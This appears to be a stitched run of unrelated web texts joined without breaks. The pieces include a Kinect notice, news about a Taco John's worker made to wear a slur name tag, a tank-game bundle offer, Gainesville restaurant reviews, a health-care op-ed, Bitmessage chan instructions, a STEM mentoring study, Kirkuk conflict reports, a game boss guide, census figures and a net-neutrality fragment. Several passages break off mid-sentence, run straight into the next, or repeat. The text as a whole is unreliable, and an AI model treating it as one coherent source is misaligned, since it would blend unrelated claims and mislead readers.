You can use other inputs to control your games, TV and entertainment experiences: While it’s faster to find what you’re looking for using your voice and gesture commands with Kinect, you can use a controller, your remote controls or your smart devices instead. And you can use all of these devices when Kinect is paused.
We’ll have more information available as we get closer to product availability later this year.A fast food worker in Yankton, South Dakota alleges that he was harassed and discriminated against when his manager forced him to wear a name tag with a homophobic slur. Earlier this week, KELO Keloland Television reported that Tyler Brandt, a 16-year-old Taco John’s employee, quit his job after a manager pressured him into wearing a name tag with a demeaning label. “[The manager] pulled me into the office and gave me a name tag that read ‘Gaytard’ on it and asked me to wear it,” Brandt explained. “So I put it on because I didn’t want to upset him and I felt that if I did do anything to upset him that it would cause me to possibly lose my job because he would be looking for ways to fire me.” Brandt’s co-worker Kayla Martian told KDLT News that the manager made his feelings about Brandt known saying, "I remember one time he said, 'Tyler is so weird because he's so gay, it's not even funny.'" KDLT reports that Brandt learned early on that the management at that Taco John’s franchise had a “reputation for picking on employees,” though he didn’t think it would have gone as far as it did.
The Taco John's name tag Brandt says he was forced to wear. (KELO) More
Brandt complied and wore the name tag, but for the rest of the night shift he tried to hide the embarrassing label from customers. Even when he was successful in hiding the name tag from view, the fast food worker said that the manager, “…would still call me by the name across the store and customers would notice." The manager’s treatment that night was the final straw and after discussing it with his boyfriend and friends, Brandt decided to quit on Tuesday morning. His resignation inspired Martian, who said she also experienced harassment on the job, to quit as well, telling KCAU 9 News, “It was getting way out of hand.”
Tyler Brandt (KELO) More
The Yankton Daily Press & Dakotan reports that manager John Scott has received several death threats. He denies Brandt’s claims and said that he was not there the night in question but is conducting an internal investigation. Scott says that a manager, Brandt and another employee were present. “From what I understand, they were all joking around,” Scott told the paper. “Everyone has a nickname here, and he wanted a nickname. (Gaytard is) what he picked for a nickname. He wasn’t forced to wear the name tag. He asked the manager to make that name tag for him.” Brandt rejected that concept and said, “It’s really irritating to think someone could believe I would want that label.”Commanders!
Update 0.19 brought a number of improvements to practically every vehicle in the game – and this includes premium vehicles as well. Premium updates were always in favor of the owner with several vehicles even changing their Tier to a higher one. Today's offer allows you to get your hands on these upgraded vehicles along with a free Premium Commander and a free Tank Destroyer from the WOLF series.
From May 18 to May 25 2017, players will have the opportunity to purchase the following vehicles:
Terminator Bundle
The Terminator is a Russian fire support vehicle, built on the hull of a T-90 tank. Its main purpose is to accompany tank units in urban areas and protect them against enemy infantry. To do that, the vehicle is armed with two 30mm cannons, capable of laying down suppressive fire in a split second. Additionally, the vehicle is equipped with four guided missile launchers, making it a deadly opponent.
This bundle contains:
BMPT Terminator Reaper Tier 8 Premium Tank Destroyer
14 days of Premium Time
5 Platinum Battlefield Glory 12-hour Boost tokens
5 Platinum Fame and Fortune 12-hour Boost tokens
Price: 11,725 Gold
M1A1 AIM Bundle
The M1A1 AIM (Abrams Integrated Management) is an improved variant of the classic American M1A1 Abrams Main Battle Tank. The M1A1 tanks selected for the program underwent a major overhaul that restored the aging vehicles to mint condition. The upgrade kit also included new infrared sensors, communication devices and a battlefield management system that improves the tank’s crew’s situational awareness. In 2006, 59 of these tanks were sold to Australia where they remain in use to this day.
This bundle contains:
M1A1 AIM Tier 8 Premium Main Battle Tank
14 days of Premium Time
5 Platinum Battlefield Glory 12-hour Boost tokens
5 Platinum Fame and Fortune 12-hour Boost tokens
Price: 11,725 Gold
Maximum Overkill Bundle
This bundle contains the M1A1 AIM, the BMPT Terminator Reaper, 30 days of Premium Time, a number of boosts as well as three free bonuses:
Erin O'Connell Premium Commander
Wiesel HOT WOLF Tier 7 Premium Tank Destroyer
5 Platinum Loot Crates
These bonuses are valuable in their own right but you can get get them all for free as a part of this offer.
Erin O'Connell (Learn More) Erin O'Connell is a skilled Commander suitable for recon vehicles as well as tank destroyers with her abilities focusing on increasing vehicle camouflage and spotting. She initially intended to follow her father's footsteps and join the Irish Naval Service, but found herself much more engaged by land-based warfare. Her dedication and natural talent quickly propelled her through the Command and Staff School at the military college in the Curragh, but because the Irish Army had relatively few armored vehicles, she chose instead to become a contractor. Erin is characterized most by her tenacity and commitment; with years of study under her belt and a passion for being in the thick of battle, few commanders are as devoted to their craft as she. Commander Skills Tier 1: Ammo swap speed increased by 20% Tier 2: Aim speed improved by 10% OR Minimum accuracy (when the accuracy circle is the largest) improved by 10% Tier 3: Vision range increased by 20 meters Tier 4: Crew experience gains increased by 10% OR Reputation gained in this vehicle increased by 10% Tier 5: The penalty to camouflage factor from firing a weapon is reduced by 10%
Wiesel HOT WOLF (Learn More) Wiesel 1 HOT WOLF is a premium variant of the Wiesel 1 HOT with unique WOLF camouflage and a Level 5 crew. The Wiesel 1 HOT is one of the most mobile vehicles of its class. It's very fast and extremely nimble – much more so than wheeled Tank Destroyers. However, it is also small and fragile and has to rely on stealth to survive. The Wiesel 1 HOT is an ideal vehicle for players who want to keep their enemies at longer distances and snipe them with powerful missiles. Learn more about the history and development of Wiesel HOT in our dedicated article.
This bundle contains:
M1A1 AIM Tier 8 Premium Main Battle Tank
BMPT Terminator Reaper Tier 8 Premium Tank Destroyer
Wiesel HOT WOLF Tier 7 Premium Tank Destroyer (FREE BONUS)
Erin O'Connell Premium Commander (FREE BONUS)
5 Platinum Supply Crates (FREE BONUS)
30 days of Premium Time
10 Platinum Battlefield Glory 12-hour Boost tokens
10 Platinum Fame and Fortune 12-hour Boost tokens
Price: 22,300 Gold
Please note:
This offer is available until May 25 2017, 16:00 CEST (7 AM PDT)
Players who already own a bundle vehicle will receive its price in Gold instead (with the exception of vehicles marked as "free bonus")
We hope that you will enjoy this event and will see you on the battlefield!80
6944 NW 10th Pl
Gainesville, FL 32605
(352) 331-6400
I've lived less than an hour west of Gainesville all my life and somehow never eaten at Mr Hans until tonight and my review is......FIVE STARS. Fantastic food, almost retro atmosphere, fantastic service and superb drinks. Everything is served "family style" and you get a lot of food. Prices are a bit high but it's quality food and a lot of it. Highly recommend
I'm tipsy after drinking the "Zombie" (it's made with 151 (a hefty amount (how about a triple parentheses))), but I've been to most of the continents, including Asia, and this is the best place to get Peking Duck outside of its origination point. There is actually a restaurant in Manhattan called the "Peking Duck" where I have been dining at since the 80's, and Mr. Han's tops there.. The single only and greatest reason to fome to this restaurant. Everything else is fantastic, but the Peking Duck here is worth traveling across the country.. I. Promise.
What a wonderful meal. Just got back from here after dinner with a couple of friends, and I will say we ate and ate and ate... dude it was awesome. So, started out with some apps: the bbq pork was really tender and tasty, and the sticky rolls were fantastic. I also had the wontons which were nice, crispy, and had a great meat mixture inside. We then had sweet sour chicken that was fried perfectly. A lot of places the inside of the breading is a bit soggy, and the outside a bit too crisp, not so here, it was great. The peaking duck was melt in your mouth, and I loved the way the skin was crispy and provided that nice crunch contrast with the rest. The Shushan shrimp was very good and melted in your mouth. But the highlight of the meal was the carmel apple dessert that they bring and plunge from the stove directly into an ice bath at the table, then scoop out onto the plate. OMG it was amazing. A highlight was Mr. Han coming around and talking to us. He is a distinguished person with a great personality who seems like he really wanted us to enjoy our selves. Take the time to look at some of the amazing pictures of people George Burns and Bob Hope and others who have stopped by this iconic restaurant.
The name is misleading. There isn't any more nightclub. I wish I knew this place during its heyday as I could feel it has a rich history. It tries to keep to its fine dining ambience with white tablecloths but the food wasn't. The food tasted fine but nothing special, although my son liked the Egg Drop Soup so much he wanted a second bowl. I would like to return for lunch and try their dim sum at another time and maybe the Peking Duck too
Beautiful decor. I was a little concerned because I was the only customer there during peak lunch hours, but that meant the owner welcomed me and the server was beyond nice. The lunch is pretty good, in fact in terms of bang for your buck, I think it has one of the best lunch specials in Gainesville. Plus they give u free hot tea! Wonton soup is only fair but the orange chicken and shrimp special was good. It's a nice hidden gem!
Depressing restaurant, this clearly was a place to be at one point. Mr Han can be seen in numerous pictures with movie stars from years ago. In fact one plate was highly recommend by Jackie O which I tried, somehow I doubt Jackie O (if alive) would recommend this plate let alone the restaurant. Mr Han & his wife were in the background observing but not participating in the operation which could explain a lot. It's time for Mr Han to let it go and consider retirement. I hate to leave bad reviews but I definitely would not recommend this restaurant. The food was bland and over cooked, Wong tong soup was soggy and the broth was a heavy dark yellow liquid. Not good.... So unfortunate
In a world of take-out and buffets, is it time for a return to sit-down, table-service chinese? In a word, YES. And while we're at it, let's make it a trip down memory lane, to a restaurant that's been a Gainesville staple since the sweet, sweet seventies. Seriously, though, Mr. Han's is a time machine to thirty-or-so years ago, and we had a blast. The food was as tasty as it was way back then, and it was just a joy to see Mr Han himself still at work. The pics speak for themselves, give it a try, and turn right at the second parking lot up the hill to get inside!
Location is kind of hidden away. Don't go to the parking lot on ground floor you will think the place abandoned and inhabited by zombies! Once you actually get in the restaurant (park by the Mexican place) it's rather nice inside and a testament to time when this place was hopping in the 80s! Building is a bit dated but with legit good dim sum recipes. There's no reason you should let a dilapidated building scare you away! Take a chance and have some amazing food! Obviously a family business. Not to mention the awesome Robin Williams picture in the restaurant. A small cameo appearance for an amazing person. Have dinner where that hairy son of a gun did!
Wonderful place. Great food and drink. Service is perfect. This place is what I remember a Chinese restaurant to be. Wish we lived closer so we could eat here all the time. Don't miss the experience.
Hidden treasure in gainesville. Place was empty but had honestly the best chinese food ive ever had. We ordered the dumplings, sweet & sour chicken, and lo mein and it was all so incredible. More people need to go to this heaven on earth.
I love this place! Unfortunately my 4 year old does also. We just finished fighting over the Chow Fun noodles I just brought home and he ate half the container! The food is spectacular here and the atmosphere is downright charming! It actually feels like visiting China with all of that cool Chinese fixtures. The lightning is also really nice. Just like a real Chinese night club. While I was waiting for my take out, the owner offered me some thing to drink and I over heard them singing Happy Birthday to someone with a Chinese Gong. Other great things to eat here are the Peking Duck and the fried eggplant. I've only been here 3 times since I'm new to the area, but everything I've tried has been wonderful (and I tend to be picky).
Staying at the LaQuinta and they recommend this place. The food was very good. I had the hot and sour soup and it was very good. I ordered the shrimp with ginger and chili paste. Was not hot spicy as was expected but the waitress brought extra chili sauce which I opted not to add. The waitress was very accommodating, friendly and went out of her way to see the we had a goo experience. When we arrived at the restaurant it looked closed. We finally found the entrance on the second floor. There was only one couple there, also from the hotel. While we're we're there another couple from the hotel came on. We were there about 6:00 pm do there should have been more costumers.
Very interesting experience. Come here to get an authentic Chinese experience!!. Honestly don't have a clue how people find this place since it's hidden in the most remote random location. They only had one waitress who was literally RUNNING the entire time, I felt bad for her. It was stressful to watch. Not many people were there... like maybe 4 parties in the entire time we were there, so service is pretty quick. As for the food, I had the chicken chop suey. The portions are pretty dang huge so I'd recommend splitting a dish between two people and just ordering a bowl of rice for each of you. The downsides are that the place is really big, so the atmosphere is a little weird... a few drinks in and you'll hardly notice the funky 80's decor and absurdly large size of the place!!
A real nice little gem tucked away. Highest recommendation for a good lunch with dim sum in a nice intimate atmosphere with a cool retro vibe. My wife and I each had a lunch special and shared 3 dim sum items for less than $30 (before tip) so the price is pretty solid for a good bit of food. The golden dumpling is a definite recommend specifically. Try that for sure on your lunch visit.
Hidden gem. My top choice for Asian food in Gainesville. The egg drop soup, mrs Hans wontons and duck are to die for! Go now!
Great hidden place. Growing up this was our Sunday Takeout dinner. A little pricey but all very fresh and tasty. You'll get addicted. The Szechuan chicken is soooo good. This was the first thing I ever liked that was spicy. And now I have it and it's not even spicy to me anymore lol. But give it a try!
Good dim sum place. Good atmosphere. The golden dumplings, Fish balls and hot and sour soup were great.
Shady business. Claimed kitchen didn't have Peking duck, but we could have it if we order a "special family dinner" for $25/person, and you only get a half order of duck. Of course they only tell us this after our appetizer order is in, and that appetizer just *happens* to be a part of the special deal. Don't support these shady business practices, no matter how good the food is.
Terrible service but food is good! It took forever to get a table, soy sauce, and checkGranted, the health care costs will continue indefinitely, while the United States cannot sustain 100,000 troops in Afghanistan for many years. On the other hand, the health care legislation pays for itself, according to the Congressional Budget Office, while the deployment in Afghanistan is unfinanced and will raise our budget deficits and undermine our long-term economic security.
So doesn’t it seem odd to hear hawks say that health reform is fiscally irresponsible, while in the next breath they cheer a larger deployment of troops in Afghanistan?
Meanwhile, lack of health insurance kills about 45,000 Americans a year, according to a Harvard study released in September. So which is the greater danger to our homeland security, the Taliban or our dysfunctional insurance system?
Who are these Americans who die for lack of insurance? Dr. Linda Harris, an ob-gyn in Oregon tells of Sue, a 31-year-old patient of hers. Sue was a single mom who worked hard — sometimes two jobs at once — to ensure that her beloved daughter would enjoy a better life.
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Sue’s jobs never provided health insurance, and Sue felt she couldn’t afford to splurge on herself to get gynecological checkups. For more than a dozen years, she never had a Pap smear, although one is recommended annually. Even when Sue began bleeding and suffering abdominal pain, she was reluctant to see a doctor because she didn’t know how she would pay the bills.
Finally, Sue sought help from a hospital emergency room, and then from the low-cost public clinic where Dr. Harris works. Dr. Harris found that Sue had advanced cervical cancer. Three months later, she died. Her daughter was 13.
“I get teary whenever I think about her,” Dr. Harris said. “It was so needless.”
Cervical cancer has a long preinvasive stage that can be detected with Pap smears, and then effectively treated with relatively minor procedures, Dr. Harris said.
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“People talk about waiting lines in Canada,” Dr. Harris added. “I say, well, at least they have a line to wait in.”
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Based on the numbers from the Harvard study, a person like Sue dies as a consequence of lack of health care coverage every 12 minutes in America. As many people die every three weeks from lack of health insurance as were killed in the 9/11 attacks.
Health coverage is becoming steadily more precarious as companies try to cut costs and insurance companies boost profits by denying claims and canceling coverage of people who get sick. I grew up on a farm in Yamhill, Ore., where we sometimes had greased pig contests. I’m not sure which is harder: getting a good grip on a greased hog or wrestling with an insurance company trying to avoid paying a claim it should.
Joe Lieberman, a pivotal vote in the Senate, says he recognizes that there are problems and would like reform, but he denounces “another government health insurance entitlement, the government going into the health insurance business.” Look out — it sounds as if Mr. Lieberman is planning to ax Medicare.
The health reform legislation in Congress is imperfect, of course. It won’t do enough to hold down costs; it may restrict access even to private insurance coverage for abortion services; it won’t do enough to address public health or unhealthy lifestyles.
Likewise, troop deployment plans in Afghanistan are imperfect. Some experts think more troops will help. Others think they will foster a nationalist backlash and feed the insurgency (that’s my view).
So where’s the best place to spend $100 billion a year? Is it on patrols in Helmand? Or is it to refurbish our health care system so that people like Sue don’t die unnecessarily every 12 minutes?John “House” Taylor plays defensive line for the Central Penn Piranhas, a semi-professional football team based in Enola, Pennsylvania, and at 6’11” and 500lbs, “House” may be the biggest person to ever play the game, at any level.
The Piranhas head coach and owner, Ron Kerr explained to WHP-TV that “‘House’ has a simple job on defense — take up space. An offense can’t block, what an offense can’t see. “If they can’t see the linebackers, they don’t where they coming from, the offensive linemen. He has to be double-teamed. He’s too big not to be.”
The 6XL lineman spends most of the game on the sidelines. Coach Kerr explained that the team uses “House” to defend short yardage situations.
Deadspin noted that the heaviest player to ever play in the NFL was Aaron Gibson, a former offensive tackle for the Lions, Cowboys, and Bears, who weighed in at 410lbs. “House” is listed at 465lbs, but said that last time he stepped on the scale it hit 500lbs.
Richard Sligh, former Raider’s defensive tackle, measured 7′ tall and holds the title as the tallest man to play in the NFL. But only an inch shorter than Sligh, and outweighing Gibson by nearly 90lbs, “House” puts in a strong bid for the title of ‘Biggest Man to Ever Play Football.’
Click here to watch the full interview with “House.”
Follow Carrie Healey on Twitter @CarrieHeals.The way to post to many users is through a channel or "chan." I have just created a polygraph chan for discussion of polygraph issues. To subscribe, in the Bitmessage client software choose File -> Join / Create chan. You'll see the following prompt box:
In the "Chan name:" field enter "polygraph," and in the "Chan bitmessage address:" field enter:
BM-2cVeRuWQihpKQJRXZSTS9fGHECa8Gs972Z
When posting to the polygraph channel (or to any Bitmessage channel, actually), it is preferable to put the channel's name in the "From:" field. This not only disguises any personal Bitmessage address you may have created, but also ensures that replies to your posts will be sent to the channel, rather than to your personal address.
The following is a sample post (the first one to the polygraph chan):
Note that while I created the polygraph chan, I don't in any way own or control it. I'm not the moderator. I can't delete posts. I can't ban users from posting. I can't see the IP addresses of posters. Nor can I see the date and time at which any post was created. (You can only see the date and time that you received a post.)
Privacy tips for posting:
Don't post information that could personally identify you, such as the date of your polygraph examination, or unique aspects of your background;
Don't post from a personal Bitmessage address that is publicly posted on the Internet. For example, my personal Bitmessage address (BM-GtK3fjwGHLLcdRRsYU9eHRdPGxGabbuL) is listed in my signature block on all my posts on this forum, so I could not use it to post anonymously to Bitmessage;
Exercise caution before visiting any hyperlink posted on Bitmessage. It would be safest to do so via the Tor Browser;
You can further protect your privacy by connecting to Bitmessage through the Tor network. Bitmessage is a decentralized, encrypted, peer-to-peer protocol that allows users to anonymously send messages to one or many users. It was created by Jonathan Warren around November 2012, and there are now stable Bitmessage client applications for the Windows and Macintosh operating systems.The way to post to many users is through a channel or "chan." I have just created a polygraph chan for discussion of polygraph issues. To subscribe, in the Bitmessage client software choose File -> Join / Create chan. You'll see the following prompt box:In the "Chan name:" field enter "polygraph," and in the "Chan bitmessage address:" field enter:BM-2cVeRuWQihpKQJRXZSTS9fGHECa8Gs972ZWhen posting to the polygraph channel (or to any Bitmessage channel, actually),This not only disguises any personal Bitmessage address you may have created, but also ensures that replies to your posts will be sent to the channel, rather than to your personal address.The following is a sample post (the first one to the polygraph chan):Note that while I created the polygraph chan, I don't in any way own or control it. I'm not the moderator. I can't delete posts. I can't ban users from posting. I can't see the IP addresses of posters. Nor can I see the date and time at which any post was created. (You can only see the date and time that you received a post.)As a freshman, Stephanie Mula found the University of Massachusetts's engineering program "overwhelming." A first-generation college student, she wasn't sure what to expect, how to get the most out of her classes, or where to look for internships. Nevertheless, she went on to beat the odds of the famously leaky science, technology, engineering, and math (STEM) pipeline that produces only three professionals for every 100 female students who begin studies in the field. Today, Ms. Mula is an industrial engineer at Raytheon Missile Systems.
She credits her success in part to the academic and professional advice of her upperclassmen mentor, a participant in a UMASS Amherst pilot program that's revealing significant benefits for same-gender peer mentoring.
Mula says that even in her mostly male classes she never felt like an outsider, but suggests that female-female mentor pairings bond faster. "It helps having similar things to talk about if you’re with a female, similar hobbies or activities," she says in a phone interview.
An astonishing 100 percent of female engineering students in the study mentored by advanced female students continued on to their second year, a transition point that often sees many choose a different path. Researchers concluded successful female role models made the difference, stemming the decline in self-confidence seen among those with male mentors or no mentor at all. The results, published April in the Proceedings of the National Academy of Sciences, suggest identity may play a role in effective mentoring, which could inform programs targeting other underrepresented groups.
Mula later became a mentor herself, and enjoyed setting an example for another future engineer, who she says had concerns about the demanding curriculum's work-life balance. "We lived in the same dorms when we were freshmen and we had gone through the same classes, so seeing that I was going to be successful answered the questions she typically had about how she was going to get to that level," Mula explains.
Researchers recruited 150 female engineering students without mentioning the study’s nature, and randomly assigned each to a female mentor, a male mentor, or no mentor at all. After a year of monthly one-hour meetings, 100 percent of female-mentored students remained in the engineering program, compared with 89 percent of those with no mentor and 82 percent of those with a male mentor.
“The male mentors that we had were actually really good, but... I think the mentees didn’t infer that the male mentors’ success had any bearing on their own likely success,” explains author Nilanjana Dasgupta, who stresses that the male-mentor and no-mentor figures fall within the experiment’s margin of error, and do not indicate that students were adversely affected.
She attributes the difference to students having role models who proved female success was possible in the male-dominated field. Quarterly surveys revealed that while male-mentored and no-mentor groups suffered sharp losses of self-confidence and feelings of belonging, the female-mentored group maintained the same levels throughout the year, benefits that persisted even after the mentors graduated.
It was in part this lack of role models that motivated Mula to stay involved with the program. "Sometimes as a female in engineering, if you don’t have any female friends who are also in engineering it’s more difficult. So I wanted to be that person who someone could ask about professors or classes."
For Professor Dasgupta, the program’s results merit swift implementation. She hopes to “take it, package it, and deliver it to the institution so it can be scaled up,” but thinks the “really important question is whether the findings from this gender study generalize to race or social class.”
Jennifer Lindwall, a PhD candidate at Portland, Ore., State University with years of experience overseeing minority youth mentoring programs suspects that they might.
“This idea, ‘if you can see it, you can be it,’ it’s a real thing, and I think for somebody who’s in a challenging academic program, if you don’t see anyone like yourself, whether it’s your gender or your race or your socioeconomic status, it’s kind of impossible to concretely believe that you can succeed,” she explains.
And research backs up Ms. Lindwall’s experience. A 2007 survey of faculty-mentored African-American students among the mainly white student body of Florida State University found that while mentors of all backgrounds helped, a common background facilitated communication and bonding, relieved feelings of loneliness, and correlated with slightly higher grades.
As programs across the country look to mentoring to close achievement gaps, experts say the growing body of mentorship research offers lessons to apply today.
“Make no assumption that all mentors work equally,” recommends Dasgupta. “Oversample the mentors from underrepresented groups so they can work with people coming in from their own group.”
But until a wider pipeline delivers more diverse mentors, coordinators know that’s a tall order. “The reality is, whether it’s ideal or not, mentors and mentees are going to be different in a variety of ways,” says Lindwall.
In the meantime, male and non-minority mentors shouldn’t despair. “If the active ingredient is similarity and feelings of closeness, figure out ways to enhance that similarity,” Dasgupta says.
Lindwall agrees that effective mentoring should be teachable: “If mentors focus on understanding where the student’s at and what they need... these relationships, even if they’re across gender or race, can go a long way.”
Timing matters too. “The pipeline doesn’t leak evenly,” explains Dasgupta. “It leaks more at the joints, and the joints are when you move from one life phase to another.” She urges intervention at these transitions, such as high school to college. At later stages when identity is more established, or in fields with equal representation, she predicts same-gender mentoring plays a lesser role.
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Dasgupta urges young women in STEM to seek out mentorship, formally or informally, both in light of her results and her own experience with mentors. “Some were women, some were men... it varied but they really played very important roles in nudging my career in ways that I can only now see in retrospect.”
Mula agrees that mentorship is essential for career growth, regardless of the mentor's identity: "It’s really easy to get siloed in your own experiences, and seeking out people who have different |
and green Iraqi flags. As they stream deeper into the city, thick white smoke starts filling the air. Men armed with rifles can be seen firing shots in the direction of the procession from a sidewalk, sparking panic among the onlookers.
As the Iraqi forces were preparing to take over, many of the locals opted to flee Kirkuk as it turned into a battle zone.
“Half the Kirkuk residents have left the city, worried because of the confrontation between the Iraqi Army and the Kurdish forces. The residents are fleeing into Kurdistan’s other provinces and demanding the war and hostilities in Kirkuk be stopped,” Peshtivan Ahmad, a local resident, told RT.
With Kirkuk split between a Kurdish, Arab and Turkmen population, there were those who rejoiced at the sight of the Iraqi Army taking control over the city.
“Where are Asayish [Kurdish intelligence agency] and Peshmerga?! They have abandoned the city. We are calling on the Iraqi government to hold corrupt officials and crooks who squandered Kirkuk’s budget accountable,” Sheikh Emad Fili, a local resident, told RT.
Read more
The lack of concerted response to the Iraqi forces’ invasion from the Kurdish militias highlighted the discord between different Kurdish factions, as some of the militias were reported to leave Kirkuk and others stayed to face off with the Iraqi forces.
Iraqi Army soldier Ahmad Hussaine told Muhammad that the troops have been on a hunt for Peshmerga fighters who might be still holing up in the city.
“Thank God, our combat spirit is very high,” Hussaine said, adding that the Iraqi forces have been combing the terrain in search for Kurdish fighters since Sunday.
“Some eight Peshmerga fighters were killed at the beginning. And since then we haven’t found anyone,” he said, noting that although there have been other instances of clashes with Peshmerga, they have not resulted in casualties.
“They tried to resist. They opened fire at us, but no one was hurt.”
Residents of Kirkuk, which borders Iraq’s Kurdistan Region, took part in a recent Kurdish independence referendum. The vote was denounced by Iraq and neighboring countries with large Kurdish populations, as well as by the international community.
While the ballot could have been the last straw, that prompted the Iraqi government to “enforce security” on the city, its timing shows that the retreat of Islamic State (IS, formerly ISIS, ISIL) rekindled smoldering conflicts and kick-started the carve-up of the freshly liberated territory.
Iraqi journalist Mahmood Ibrahim told RT that following the Iraqi push on Sunday night that saw the troops attacking the city from three sides with some Peshmerga units pulling out, the government succeeded in overrunning the city.
“Right now the city is almost completely under the control of the Iraqi forces, the federal police and the Popular Mobilization Units [Iraqi state-sponsored militia],” Ibrahim said, adding that both sides were reported to suffer minor losses.
“We are talking about 12 casualties from Al-Hashd Al-Sha'ab Popular Mobilization Units (PMU) and we’re talking about 10 of [the] Peshmerga [fighters].”
Read more
Meanwhile, there are concerns that sporadic clashes could spill over into a full-blown military confrontation, endangering Iraq’s integrity. Iraqi Parliamentary Speaker Salim Al-Jabouri told RT that although the lawmakers “support the presence of the army and their control of certain facilities in Kirkuk,” the situation is highly volatile.
“The situation on the ground is constantly developing. We are calling on both the Iraqi government and the Kurdish Autonomous Region to show reserve in solving their problems,” he said.
That the Iraqi Army is going after the Kurdish militias after a long time being preoccupied with a battle against IS, shows that the looming defeat of the terrorist group will exacerbate internal tensions, Joshua Landis, director of the Center for Middle East Studies at the University of Oklahoma, argued.
“The battle against ISIS is, if not finished, it’s largely finished and they have been able to come up with a plan. The war of words got hotter and hotter and they have moved special forces” to Kirkuk, he said, adding that he believes that the oil resources in Kirkuk’s ground is the number one reason for the offensive.
READ MORE: Oil prices rising as Iraqi forces advance on Kurdish-held territory
“It’s all about oil. This is very important for Iraq to take a city which they believe is theirs, the government's, and to establish very quickly, now that their military is stronger, has proven itself against ISIS... they wanted to strike while the iron is hot.”
As the situation began to unfold in Kirkuk, the US-led anti-IS coalition claimed that the Iraqi army maneuvers in the vicinity of the city “so far have been coordinated movements, not attacks” calling the clashes between Iraqi and Peshmerga forces “misunderstanding.”
US President Donald Trump said on Monday that the US is “not taking sides” in the ongoing standoff.
The State Department later issued a statement, saying that it is “very concerned by reports of violence around Kirkuk” urging all parties to avoid provocations, arguing that the clashes distract them from the battle against IS which is yet to be defeated in Iraq.Chef’s Knife : Deal special physical damage to one target. (ignores DEF) Chaotic Chef’s Knife : Deal special physical damage 4 times randomly to one target. (ignores DEF) Nightmare Chef’s Knife : Deal special physical damage to one target (ignores DEF)
This fight has 3 main phases: 1st phase features a lone Tonberry; 2nd phase features two waves of three Tonberries; and the last phase where you will face the Tonberry King himself. Note that the Tonberries have only 5 MND, meaning a white mage with a decent MND stat (Tyro) can keep Tonberry Stop-locked for quite a long duration. PHASE 1 In this phase, you will fight a lone Tonberry: Every turn Tonberry will take a step forward and attack a party member. Defeating this lone Tonberry will begin Phase 2. Stop him if you have to. He can also be Slowed and Interrupted (and also Paralyze but only for this phase) PHASE 2 When Phase 2 begins, three Tonberries will spawn: You will immediately notice the colored circular tiles under the Tonberries. These colours correspond to different statuses: Red is Stop, White is Slow, Blue is Interrupt. The significance of these coloured circles is that whichever circle a Tonberry is standing on, the corresponding status effect will have double hit rate. As the Tonberries start on the Red circles, it is highly recommended that you use Halting Rumba to effectively land Stop on all three. From there it’s all about dealing as much damage as possible. AoEs are highly recommended. Other than being Stopped, the Tonberries can actually do some damage if left uncontrolled. Each turn before attacking, a Tonberry will move half a step forward. Other than at the beginning of Phase 2, If all three Tonberries are aligned vertically, your party will be hit by Nightmare Chef’s Knife. When the three Tonberries are defeated, a second wave of three Tonberries will spawn: You will notice that the coloured circles have swapped places and that the Tonberries are not perfectly aligned at the start. The strategy does not change, control them and deal as much damage as you can. Do note that since there are no longer red circles (or rather none of them are on a red circle), Stop will not gain boosted hit rate. Defeating this second wave will begin the last phase. PHASE 3 Finally you face Tonberry King! There are no gimmicks in this last phase, kill him before he kills you. He is pretty fast and since he’s immune to Slow and Stop, your only way of controlling him is by Interrupt. Video #1: https://www.youtube.com/watch?v=eIuGSlPe_GM
Video #2: https://www.youtube.com/watch?v=yVIVe5PhMnY
Video #3: https://www.youtube.com/watch?v=xZd3QZpLMLQ
Video #4: https://www.youtube.com/watch?v=r99bDP_PTV4 (3 man mastery)
Video #5: https://www.youtube.com/watch?v=PstKsePmbO0
Recommended abilities: Halting Rumba, Dismissal, Tempo Flurry, AoE (Tornado Strike, Bladeblitz, etc)
Recommended RW: ScreamDonald Trump may be making waves as the United States' first Twitter president, but our own Susilo Bambang Yudhoyono was years ahead of the curve. SBY's wrote his first tweet way back in 2013, and he never looked back. During the tail-end of his term in office, SBY was known for tweeting out opinions on policy moves and international relations 140 characters at a time.
But recently, the former president's tweets have been a bit more... emo. He's lashed out at rivals, criticized his successor President Joko Widodo, and tapped out enough sappy, sentimental tweets to fill my teenage diary.
Some say SBY's tweets may have cost his son the election, but, come on, can't we let the man express himself? Don't we all have feelings?
Jakarta-based EDM producer Hazen Mardial thinks the former president is definitely in his emo phase. He took the former president's tweets and set them to an emo song that mixes the sugary pop-punk of The All-American Rejects with the long-hair screamo of The Used.
VICE Indonesia: So were you inspired by the Donald Trump emo song?
Hazen Mardial: Correct. A friend shared that video on Facebook. And then he asked me to do an SBY version. I made it the next day.
How long did it take?
I did it in one night. And I uploaded it the next day.
How did you choose the tweets? It couldn't have been easy. He's published a lot of confessional tweets, right?
I chose them randomly. I mostly picked the ones that felt right to sing and also catchy enough to be the chorus.
It sounds sort of like that band The All-American Rejects. Or maybe the Starting Line.
I think it's more like Taking Back Sunday.
Do you think SBY would make a great vocalist in an emo band? He likes to play music, right?
If you take a look at his timbre, SBY is more suitable to be a vocalist of a post-punk band. But lyrics-wise, SBY is a natural emo songwriter.For the first time in decades, Alberta has surpassed British Columbia as a destination for recent immigrants.
That's according to the latest census data, released Wednesday by Statistics Canada, which shows how immigration patterns have shifted toward the Prairie provinces in general — and Alberta, in particular.
"Over the past 15 years, the share of recent immigrants in the Prairie provinces has more than doubled," the federal agency said in a release.
Alberta's share of recent immigrants — defined as people who first obtained their landed immigrant or permanent resident status in Canada in the five years prior to a given census — rose from 6.9 per cent in 2001 to 17.1 per cent in 2016.
That's now the third highest among all provinces, just behind Quebec's 17.8 per cent.
Ontario remains the most popular destination for recent immigrants, with 39 per cent living there in 2016.
But that's down sharply from the 55.9 per cent who called Ontario home in 2001.
The proportion of new immigrants in B.C., meanwhile, shrunk from 19.9 per cent to 14.5 per cent over the past decade and a half.
International vs. interprovincial migration
The surge in immigrants settling in Alberta has helped maintain the province's population growth despite an exodus of existing residents who left for other provinces in the wake of the recent recession.
Over the past two years, Alberta lost more than 30,000 residents to interprovincial migration.
During that same time, it gained more than 75,000 people from international migration.
Including births, Alberta's overall population grew from 3,790,191 in 2011 to 4,236,376 in 2016, according to Statistics Canada.
That's an increase of 11.8 per cent — by far the fastest population growth of any province.
The next closest was Saskatchewan with a population growth of 7.7 per cent.
The national population grew by 5.6 per cent between 2011 and 2016.by Wendy Davis @wendyndavis, September 20, 2017
Net neutrality advocates are blasting the Federal Communications Commission over "misleading information" about mobile carriers' network investment in the forthcoming annual report on mobile competition.
A draft of the FCC's 121-page report says that network investment by the wireless carriers dropped by 9% in the year following 2015, which is when the agency adopted net neutrality rules.
